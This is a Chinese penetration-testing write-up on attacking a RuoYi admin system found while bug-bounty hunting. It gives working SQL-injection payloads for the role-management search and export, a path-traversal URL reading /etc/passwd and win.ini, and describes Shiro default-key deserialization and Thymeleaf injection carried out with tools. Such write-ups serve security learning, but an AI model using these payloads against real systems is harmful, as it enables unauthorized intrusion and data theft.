前言:

在挖src的时候,可以通过信息收集收集弱口令,然后通过后台弱口令进入后台:

图片


发现一个弱口令进去后:

图片


【魔方老师提醒才发现,这个蓝色的草丛其实可以大致判断是若依系统】
 

图片


看这界面,是不是很像ruoyi
插件一看:

图片


前端vue.js

加上登录的cookie rememberMe:

图片


【登录失败时bp抓包相应包有remeberMe=delete】
得知登录为shiro框架
八九不离十后台就是ruoyi框架的管理系统了

若依管理系统简介

若依管理系统(Ruoyi Admin System)是一款基于Java开发的开源后台管理系统,若依管理系统采用前后端分离架构,前端使用Vue.js框架,后端使用Spring Boot框架。
找了个ruoyi系统的例图如下:

图片

漏洞一:若依前台默认shiro key命令执行漏洞

漏洞简介
若依默认使用shiro组件,所以可以试试shiro经典的反序列化 rememberMe漏洞来getshell。
直接工具一搜哈:
 

图片


直接先爆破密钥,成功了血赚,失败了不亏,还有其他方法能得到AES的key
工具二搜哈:
【url和cookie配置好就直接搜哈】

图片


这里发现了很多的漏洞:

 

[+] 存在Snakeyaml命令执行漏洞[+] 存在JdbcTemplate漏洞[+] 存在ReadFile(新)文件读取漏洞[+] 存在ReadFile(老)文件读取漏洞[+] 存在Thymeleaf模板注入漏洞[+] 存在SQL(1)注入漏洞[+] 存在SQL(2)注入漏洞[+] 存在SQL(3)注入漏洞[+] 存在Shiro框架[+] 存在默认key:xxxxx

我们先针对shiro框架:
拿着key去工具一:

图片


然后检测利用链,检测成功后就可以命令执行getshell了:

图片

图片

漏洞二:若依后台存在多处sql注入漏洞

第一处:

图片


角色管理的搜索,bp拦截抓包:

图片

 

poc:pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

报错注入回显database():

图片

 

poc2:pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1),0x7e))

图片


爆到库名点到为止

第二处:

图片


也是角色管理,在导出这里

 

poc:params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

图片

图片

图片

或者直接使用工具二

图片

图片

漏洞三:若依后台任意文件读取(CNVD-2021-01931)

直接get访问:

 

/common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini

图片

漏洞四:Thymeleaf模板注入漏洞

用工具二 ping+dnslog验证:

图片

图片

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

Logo

快速构建 Web 应用程序

更多推荐